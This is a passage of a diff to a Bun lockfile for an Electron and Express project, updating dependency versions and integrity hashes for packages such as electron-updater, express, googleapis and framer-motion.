"sha512-o288fIdgPLHA76eDrFADHPoo7VyGkDCYbLV1GzndaMSAVBoZrGvM9m2IehdcVMzdAZJ2eV9bgyissQXHv5tGzA=="], - "electron-publish": ["electron-publish@26.8.1", "", { "dependencies": { "@types/fs-extra": "^9.0.11", "builder-util": "26.8.1", "builder-util-runtime": "9.5.1", "chalk": "^4.1.2", "form-data": "^4.0.5", "fs-extra": "^10.1.0", "lazy-val": "^1.0.5", "mime": "^2.5.2" } }, "sha512-q+jrSTIh/Cv4eGZa7oVR+grEJo/FoLMYBAnSL5GCtqwUpr1T+VgKB/dn1pnzxIxqD8S/jP1yilT9VrwCqINR4w=="], + "electron-publish": ["electron-publish@26.16.0", "", { "dependencies": { "@types/fs-extra": "^9.0.11", "aws4": "^1.13.2", "builder-util": "26.16.0", "builder-util-runtime": "9.7.0", "chalk": "^4.1.2", "form-data": "^4.0.5", "fs-extra": "^10.1.0", "lazy-val": "^1.0.5", "mime": "^2.5.2" } }, "sha512-Vt3KzQIiw9BImvNOYtndg9Mjki+tl4+1sQiC/+G5j8khWaENOJFWodiB+sUl6yyHwtd37avehskdtPw7f8y/+Q=="], - "electron-updater": ["electron-updater@6.8.3", "", { "dependencies": { "builder-util-runtime": "9.5.1", "fs-extra": "^10.1.0", "js-yaml": "^4.1.0", "lazy-val": "^1.0.5", "lodash.escaperegexp": "^4.1.2", "lodash.isequal": "^4.5.0", "semver": "~7.7.3", "tiny-typed-emitter": "^2.1.0" } }, "sha512-Z6sgw3jgbikWKXei1ENdqFOxBP0WlXg3TtKfz0rgw2vIZFJUyI4pD7ZN7jrkm7EoMK+tcm/qTnPUdqfZukBlBQ=="], + "electron-updater": ["electron-updater@6.8.9", "", { "dependencies": { "builder-util-runtime": "9.7.0", "fs-extra": "^10.1.0", "js-yaml": "^4.1.0", "lazy-val": "^1.0.5", "lodash.escaperegexp": "^4.1.2", "lodash.isequal": "^4.5.0", "semver": "~7.7.3", "tiny-typed-emitter": "^2.1.0" } }, "sha512-ZhVxM9iGONUpZGI1FxdMRgJjUFXi7AYGVa5PwKlO1tV1/4zDxQmfKpXOHVztKrd6L9rLcFjERvi1Mf2vxyTkig=="], "electron-winstaller": ["electron-winstaller@5.4.0", "", { "dependencies": { "@electron/asar": "^3.2.1", "debug": "^4.1.1", "fs-extra": "^7.0.1", "lodash": "^4.17.21", "temp": "^0.9.0" }, "optionalDependencies": { "@electron/windows-sign": "^1.1.2" } }, "sha512-bO3y10YikuUwUuDUQRM4KfwNkKhnpVO7IPdbsrejwN9/AABJzzTQ4GeHwyzNSrVO+tEH3/Np255a3sVZpZDjvg=="], - "emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], + "emoji-regex": ["emoji-regex@10.6.0", "", {}, "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A=="], + + "encodeurl": ["encodeurl@2.0.0", "", {}, "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg=="], "encoding": ["encoding@0.1.13", "", { "dependencies": { "iconv-lite": "^0.6.2" } }, "sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A=="], "end-of-stream": ["end-of-stream@1.4.5", "", { "dependencies": { "once": "^1.4.0" } }, "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg=="], - "enhanced-resolve": ["enhanced-resolve@5.20.0", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.0" } }, "sha512-/ce7+jQ1PQ6rVXwe+jKEg5hW5ciicHwIQUagZkp6IufBoY3YDgdTTY1azVs0qoRgVmvsNB+rbjLJxDAeHHtwsQ=="], - - "entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="], + "enhanced-resolve": ["enhanced-resolve@5.26.0", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.3" } }, "sha512-9vhedylFonb2YGogzUKX6+Ja72gOJbN1QHAqdrvqLwhdl/QWbKopzoUC9EbQNVsAns/bx/4uyqalrQAoy1IByw=="], "env-paths": ["env-paths@2.2.1", "", {}, "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A=="], - "environment": ["environment@1.1.0", "", {}, "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q=="], - "err-code": ["err-code@2.0.3", "", {}, "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA=="], "error-causes": ["error-causes@3.0.2", "", {}, "sha512-i0B8zq1dHL6mM85FGoxaJnVtx6LD5nL2v0hlpGdntg5FOSyzQ46c9lmz5qx0xRS2+PWHGOHcYxGIBC5Le2dRMw=="], @@ -1345,29 +1223,35 @@ "es-set-tostringtag": ["es-set-tostringtag@2.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "get-intrinsic": "^1.2.6", "has-tostringtag": "^1.0.2", "hasown": "^2.0.2" } }, "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA=="], + "es-toolkit": ["es-toolkit@1.52.0", "", {}, "sha512-XTNEJQh1tY1ZJVcf6ayP/2n4ZPyaHlW2FWs7xvw5ddPuhUVjLD3olQVQS7kf58JbAB48iL0uL/jerTrjtV3lDA=="], + "es6-error": ["es6-error@4.1.1", "", {}, "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg=="], "esbuild": ["esbuild@0.25.12", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.12", "@esbuild/android-arm": "0.25.12", "@esbuild/android-arm64": "0.25.12", "@esbuild/android-x64": "0.25.12", "@esbuild/darwin-arm64": "0.25.12", "@esbuild/darwin-x64": "0.25.12", "@esbuild/freebsd-arm64": "0.25.12", "@esbuild/freebsd-x64": "0.25.12", "@esbuild/linux-arm": "0.25.12", "@esbuild/linux-arm64": "0.25.12", "@esbuild/linux-ia32": "0.25.12", "@esbuild/linux-loong64": "0.25.12", "@esbuild/linux-mips64el": "0.25.12", "@esbuild/linux-ppc64": "0.25.12", "@esbuild/linux-riscv64": "0.25.12", "@esbuild/linux-s390x": "0.25.12", "@esbuild/linux-x64": "0.25.12", "@esbuild/netbsd-arm64": "0.25.12", "@esbuild/netbsd-x64": "0.25.12", "@esbuild/openbsd-arm64": "0.25.12", "@esbuild/openbsd-x64": "0.25.12", "@esbuild/openharmony-arm64": "0.25.12", "@esbuild/sunos-x64": "0.25.12", "@esbuild/win32-arm64": "0.25.12", "@esbuild/win32-ia32": "0.25.12", "@esbuild/win32-x64": "0.25.12" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg=="], - "esbuild-register": ["esbuild-register@3.6.0", "", { "dependencies": { "debug": "^4.3.4" }, "peerDependencies": { "esbuild": ">=0.12 <1" } }, "sha512-H2/S7Pm8a9CL1uhp9OvjwrBh5Pvx0H8qVOxNu8Wed9Y7qv56MPtq+GGM8RJpq6glYJn9Wspr8uw7l55uyinNeg=="], - "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="], - "escape-string-regexp": ["escape-string-regexp@4.0.0", "", {}, "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA=="], + "escape-html": ["escape-html@1.0.3", "", {}, "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow=="], + + "escape-string-regexp": ["escape-string-regexp@5.0.0", "", {}, "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw=="], "estree-util-is-identifier-name": ["estree-util-is-identifier-name@3.0.0", "", {}, "sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg=="], + "etag": ["etag@1.8.1", "", {}, "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg=="], + "eventemitter3": ["eventemitter3@5.0.4", "", {}, "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw=="], - "eventsource-parser": ["eventsource-parser@3.0.6", "", {}, "sha512-Vo1ab+QXPzZ4tCa8SwIHJFaSzy4R6SHf7BY79rFBDf0idraZWAkYrDjDj8uWaSm3S2TK+hJ7/t1CEmZ7jXw+pg=="], + "eventsource": ["eventsource@3.0.7", "", { "dependencies": { "eventsource-parser": "^3.0.1" } }, "sha512-CRT1WTyuQoD771GW56XEZFQ/ZoSfWid1alKGDYMmkt2yl8UXrVR4pspqWNEcqKvVIzg6PAltWjxcSSPrboA4iA=="], - "expand-template": ["expand-template@2.0.3", "", {}, "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg=="], + "eventsource-parser": ["eventsource-parser@3.1.1", "", {}, "sha512-EKN1vKAMcZ8MlYMpaNuxN6R9yakzH6uajHcHVTqWJzvu5pWw9DyhbP35HH8MVBQ+dZjAfDxk+A8NiR9KWaXiyQ=="], "exponential-backoff": ["exponential-backoff@3.1.3", "", {}, "sha512-ZgEeZXj30q+I0EN+CbSSpIyPaJ5HVQD18Z1m+u1FXbAeT94mr1zw50q4q6jiiC447Nl/YTcIYSAftiGqetwXCA=="], - "extend": ["extend@3.0.2", "", {}, "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="], + "express": ["express@5.2.1", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.1", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "depd": "^2.0.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw=="], - "extract-zip": ["extract-zip@2.0.1", "", { "dependencies": { "debug": "^4.1.1", "get-stream": "^5.1.0", "yauzl": "^2.10.0" }, "optionalDependencies": { "@types/yauzl": "^2.9.1" }, "bin": { "extract-zip": "cli.js" } }, "sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg=="], + "express-rate-limit": ["express-rate-limit@8.7.1", "", { "dependencies": { "debug": "^4.4.3", "ip-address": "^10.2.0" }, "peerDependencies": { "express": ">= 4.11" } }, "sha512-2FXbqkygil3mZiXzEtM0IjE/UBmBNot0J1GEVrJT4JbrvwOSoEtqtO+wHbiMQELWe1eNvHoYRg2dkjOid+6JkA=="], + + "extend": ["extend@3.0.2", "", {}, "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="], "extsprintf": ["extsprintf@1.4.1", "", {}, "sha512-Wrk35e8ydCKDj/ArClo1VrPVmN8zph5V4AtHwIuHhvMXsKf73UT3BOD+azBIW+3wOJ4FhEH7zyaJCFvChjYvMA=="], @@ -1379,6 +1263,8 @@ "fast-json-stable-stringify": ["fast-json-stable-stringify@2.1.0", "", {}, "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw=="], + "fast-sha256": ["fast-sha256@1.3.0", "", {}, "sha512-n11RGP/lrWEFI/bWdygLxhI+pVeo1ZYIVwvvPkW7azl/rOy+F3HYRZ2K5zeE9mmkhQppyv9sQFx0JM9UabnpPQ=="], + "fast-uri": ["fast-uri@3.1.0", "", {}, "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA=="], "fd-slicer": ["fd-slicer@1.1.0", "", { "dependencies": { "pend": "~1.2.0" } }, "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g=="], @@ -1387,23 +1273,27 @@ "fetch-blob": ["fetch-blob@3.2.0", "", { "dependencies": { "node-domexception": "^1.0.0", "web-streams-polyfill": "^3.0.3" } }, "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ=="], - "file-type": ["file-type@21.3.4", "", { "dependencies": { "@tokenizer/inflate": "^0.4.1", "strtok3": "^10.3.4", "token-types": "^6.1.1", "uint8array-extras": "^1.4.0" } }, "sha512-Ievi/yy8DS3ygGvT47PjSfdFoX+2isQueoYP1cntFW1JLYAuS4GD7NUPGg4zv2iZfV52uDyk5w5Z0TdpRS6Q1g=="], + "fflate": ["fflate@0.8.3", "", {}, "sha512-tbZNuJrLwGUp3zshBtdy4W+ORxZuIh8a5ilyIEQDC5rY1f3U20JMry0Ll3WBzU58EZKsEuJFXhb5gwv8CsPvgA=="], - "file-uri-to-path": ["file-uri-to-path@1.0.0", "", {}, "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw=="], + "file-type": ["file-type@22.1.1", "", { "dependencies": { "@tokenizer/inflate": "^0.4.1", "strtok3": "^10.3.5", "token-types": "^6.1.2", "uint8array-extras": "^1.5.0" } }, "sha512-sEB0oStmeLGtpmSAD88RDNuLsvhv4iC3u0lE25CUvfCULvj49xoQ3l3K525Vn+ZzsZ6DOLajQCV6RmhwwhqiJg=="], "filelist": ["filelist@1.0.6", "", { "dependencies": { "minimatch": "^5.0.1" } }, "sha512-5giy2PkLYY1cP39p17Ech+2xlpTRL9HLspOfEgm0L6CwBXBTgsK5ou0JtzYuepxkaQ/tvhCFIJ5uXo0OrM2DxA=="], - "follow-redirects": ["follow-redirects@1.15.11", "", {}, "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ=="], + "finalhandler": ["finalhandler@2.1.1", "", { "dependencies": { "debug": "^4.4.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "on-finished": "^2.4.1", "parseurl": "^1.3.3", "statuses": "^2.0.1" } }, "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA=="], + + "follow-redirects": ["follow-redirects@1.16.1", "", { "peerDependencies": { "debug": "*" }, "optionalPeers": ["debug"] }, "sha512-FNvFGzoMLWmE6Yj9spb/zjd7yiNCHiAW9/Tg9CXrQ8wuu32HtlJOwWO11OJafl5FfY3DxTdQ0vj42zU1kvv5jg=="], "foreground-child": ["foreground-child@3.3.1", "", { "dependencies": { "cross-spawn": "^7.0.6", "signal-exit": "^4.0.1" } }, "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw=="], - "form-data": ["form-data@4.0.5", "", { "dependencies": { "asynckit": "^0.4.0", "combined-stream": "^1.0.8", "es-set-tostringtag": "^2.1.0", "hasown": "^2.0.2", "mime-types": "^2.1.12" } }, "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w=="], + "form-data": ["form-data@4.0.6", "", { "dependencies": { "asynckit": "^0.4.0", "combined-stream": "^1.0.8", "es-set-tostringtag": "^2.1.0", "hasown": "^2.0.4", "mime-types": "^2.1.35" } }, "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ=="], "formdata-polyfill": ["formdata-polyfill@4.0.10", "", { "dependencies": { "fetch-blob": "^3.1.2" } }, "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g=="], - "framer-motion": ["framer-motion@12.35.0", "", { "dependencies": { "motion-dom": "^12.35.0", "motion-utils": "^12.29.2", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-w8hghCMQ4oq10j6aZh3U2yeEQv5K69O/seDI/41PK4HtgkLrcBovUNc0ayBC3UyyU7V1mrY2yLzvYdWJX9pGZQ=="], + "forwarded": ["forwarded@0.2.0", "", {}, "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="], - "fs-constants": ["fs-constants@1.0.0", "", {}, "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow=="], + "framer-motion": ["framer-motion@14.0.0", "", { "dependencies": { "motion-dom": "14.0.0", "motion-utils": "14.0.0", "tslib": "^2.4.0" }, "peerDependencies": { "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["react", "react-dom"] }, "sha512-QAtHmybrDFSliyW1sexMtSQTQd+1jw2ajibEmzpuI4XdPVzQkn+dAzJMm2sW3pl9MJuSS4xN51djQ7huhlP/VA=="], + + "fresh": ["fresh@2.0.0", "", {}, "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A=="], "fs-extra": ["fs-extra@10.1.0", "", { "dependencies": { "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ=="], @@ -1411,9 +1301,11 @@ "fs.realpath": ["fs.realpath@1.0.0", "", {}, "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="], + "fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="], + "function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="], - "gaxios": ["gaxios@7.1.3", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "node-fetch": "^3.3.2", "rimraf": "^5.0.1" } }, "sha512-YGGyuEdVIjqxkxVH1pUTMY/XtmmsApXrCVv5EU25iX6inEPbV+VakJfLealkBtJN69AQmh1eGOdCl9Sm1UP6XQ=="], + "gaxios": ["gaxios@7.3.1", "", { "dependencies": { "extend": "^3.0.2", "https-proxy-agent": "^7.0.1", "node-fetch": "^3.3.2" } }, "sha512-kB3rzJV7d9juLZh8/56QTXCwQfxyhdOMdyYk1HdQKFtF8TJTDTZQJtixWIwXdE9Jji91mC41DUNpjleo4L4eAQ=="], "gcp-metadata": ["gcp-metadata@8.1.2", "", { "dependencies": { "gaxios": "^7.0.0", "google-logging-utils": "^1.0.0", "json-bigint": "^1.0.0" } }, "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg=="], @@ -1433,25 +1325,21 @@ "get-tsconfig": ["get-tsconfig@4.13.6", "", { "dependencies": { "resolve-pkg-maps": "^1.0.0" } }, "sha512-shZT/QMiSHc/YBLxxOkMtgSid5HFoauqCE3/exfsEcwg1WkeqjG+V40yBbBrsD+jW2HDXcs28xOfcbm2jI8Ddw=="], - "git-raw-commits": ["git-raw-commits@5.0.1", "", { "dependencies": { "@conventional-changelog/git-client": "^2.6.0", "meow": "^13.0.0" }, "bin": { "git-raw-commits": "src/cli.js" } }, "sha512-Y+csSm2GD/PCSh6Isd/WiMjNAydu0VBiG9J7EdQsNA5P9uXvLayqjmTsNlK5Gs9IhblFZqOU0yid5Il5JPoLiQ=="], - - "github-from-package": ["github-from-package@0.0.0", "", {}, "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw=="], - "glob": ["glob@7.2.3", "", { "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.1.1", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } }, "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q=="], "global-agent": ["global-agent@3.0.0", "", { "dependencies": { "boolean": "^3.0.1", "es6-error": "^4.1.1", "matcher": "^3.0.0", "roarr": "^2.15.3", "semver": "^7.3.2", "serialize-error": "^7.0.1" } }, "sha512-PT6XReJ+D07JvGoxQMkT6qji/jVNfX/h364XHZOWeRzy64sSFr+xJ5OX7LI3b4MPQzdL4H8Y8M0xzPpsVMwA8Q=="], - "global-directory": ["global-directory@4.0.1", "", { "dependencies": { "ini": "4.1.1" } }, "sha512-wHTUcDUoZ1H5/0iVqEudYW4/kAlN5cZ3j/bXn0Dpbizl9iaUVeWSHqiOjsgk6OW2bkLclbBjzewBz6weQ1zA2Q=="], + "global-directory": ["global-directory@5.0.0", "", { "dependencies": { "ini": "6.0.0" } }, "sha512-1pgFdhK3J2LeM+dVf2Pd424yHx2ou338lC0ErNP2hPx4j8eW1Sp0XqSjNxtk6Tc4Kr5wlWtSvz8cn2yb7/SG/w=="], "globalthis": ["globalthis@1.0.4", "", { "dependencies": { "define-properties": "^1.2.1", "gopd": "^1.0.1" } }, "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ=="], - "google-auth-library": ["google-auth-library@10.6.1", "", { "dependencies": { "base64-js": "^1.3.0", "ecdsa-sig-formatter": "^1.0.11", "gaxios": "7.1.3", "gcp-metadata": "8.1.2", "google-logging-utils": "1.1.3", "jws": "^4.0.0" } }, "sha512-5awwuLrzNol+pFDmKJd0dKtZ0fPLAtoA5p7YO4ODsDu6ONJUVqbYwvv8y2ZBO5MBNp9TJXigB19710kYpBPdtA=="], + "google-auth-library": ["google-auth-library@10.9.1", "", { "dependencies": { "base64-js": "^1.3.0", "ecdsa-sig-formatter": "^1.0.11", "gaxios": "^7.1.4", "gcp-metadata": "8.1.2", "google-logging-utils": "1.1.3", "jws": "^4.0.0" } }, "sha512-i1ydyHrqcIxXkWh/uBmVkzCvIuq5yiK2ATndIe5XxKholrG/MTYP9xGYka4sQhrbIAgGjL2B6NOE7rFaiF3fXw=="], "google-logging-utils": ["google-logging-utils@1.1.3", "", {}, "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA=="], - "googleapis": ["googleapis@171.4.0", "", { "dependencies": { "google-auth-library": "^10.2.0", "googleapis-common": "^8.0.0" } }, "sha512-xybFL2SmmUgIifgsbsRQYRdNrSAYwxWZDmkZTGjUIaRnX5jPqR8el/cEvo6rCqh7iaZx6MfEPS/lrDgZ0bymkg=="], + "googleapis": ["googleapis@183.0.0", "", { "dependencies": { "google-auth-library": "^11.0.0", "googleapis-common": "^9.0.0" } }, "sha512-Aa0KKctjSDfRrvKHFU6PtPYP9yBC/aOUmuc1VpIjJUrHtfoHz3n8/apLB7t4e3d8NbhTDF1x6JcZJO1au7VNHQ=="], - "googleapis-common": ["googleapis-common@8.0.1", "", { "dependencies": { "extend": "^3.0.2", "gaxios": "^7.0.0-rc.4", "google-auth-library": "^10.1.0", "qs": "^6.7.0", "url-template": "^2.0.8" } }, "sha512-eCzNACUXPb1PW5l0ULTzMHaL/ltPRADoPgjBlT8jWsTbxkCp6siv+qKJ/1ldaybCthGwsYFYallF7u9AkU4L+A=="], + "googleapis-common": ["googleapis-common@9.1.0", "", { "dependencies": { "extend": "^3.0.2", "gaxios": "^7.3.0", "google-auth-library": "^11.0.0", "google-logging-utils": "^2.0.0", "qs": "^6.7.0", "url-template": "^2.0.8" } }, "sha512-UJBElspYPJb0+fI8q0LxARw1hPnwd9yd5NqhKqEUPxjhnB1jdsRP7rlRTBp69JS5Vo10bCiRE9+ISsIG2A+Ttg=="], "gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="], @@ -1469,19 +1357,15 @@ "has-tostringtag": ["has-tostringtag@1.0.2", "", { "dependencies": { "has-symbols": "^1.0.3" } }, "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw=="], - "hasown": ["hasown@2.0.2", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ=="], - - "hast-util-is-element": ["hast-util-is-element@3.0.0", "", { "dependencies": { "@types/hast": "^3.0.0" } }, "sha512-Val9mnv2IWpLbNPqc/pUem+a7Ipj2aHacCwgNfTiK0vJKl0LF+4Ba4+v1oPHFpf3bLYmreq0/l3Gud9S5OH42g=="], + "hasown": ["hasown@2.0.4", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A=="], "hast-util-to-html": ["hast-util-to-html@9.0.5", "", { "dependencies": { "@types/hast": "^3.0.0", "@types/unist": "^3.0.0", "ccount": "^2.0.0", "comma-separated-tokens": "^2.0.0", "hast-util-whitespace": "^3.0.0", "html-void-elements": "^3.0.0", "mdast-util-to-hast": "^13.0.0", "property-information": "^7.0.0", "space-separated-tokens": "^2.0.0", "stringify-entities": "^4.0.0", "zwitch": "^2.0.4" } }, "sha512-OguPdidb+fbHQSU4Q4ZiLKnzWo8Wwsf5bZfbvu7//a9oTYoqD/fWpe96NuHkoS9h0ccGOTe0C4NGXdtS0iObOw=="], "hast-util-to-jsx-runtime": ["hast-util-to-jsx-runtime@2.3.6", "", { 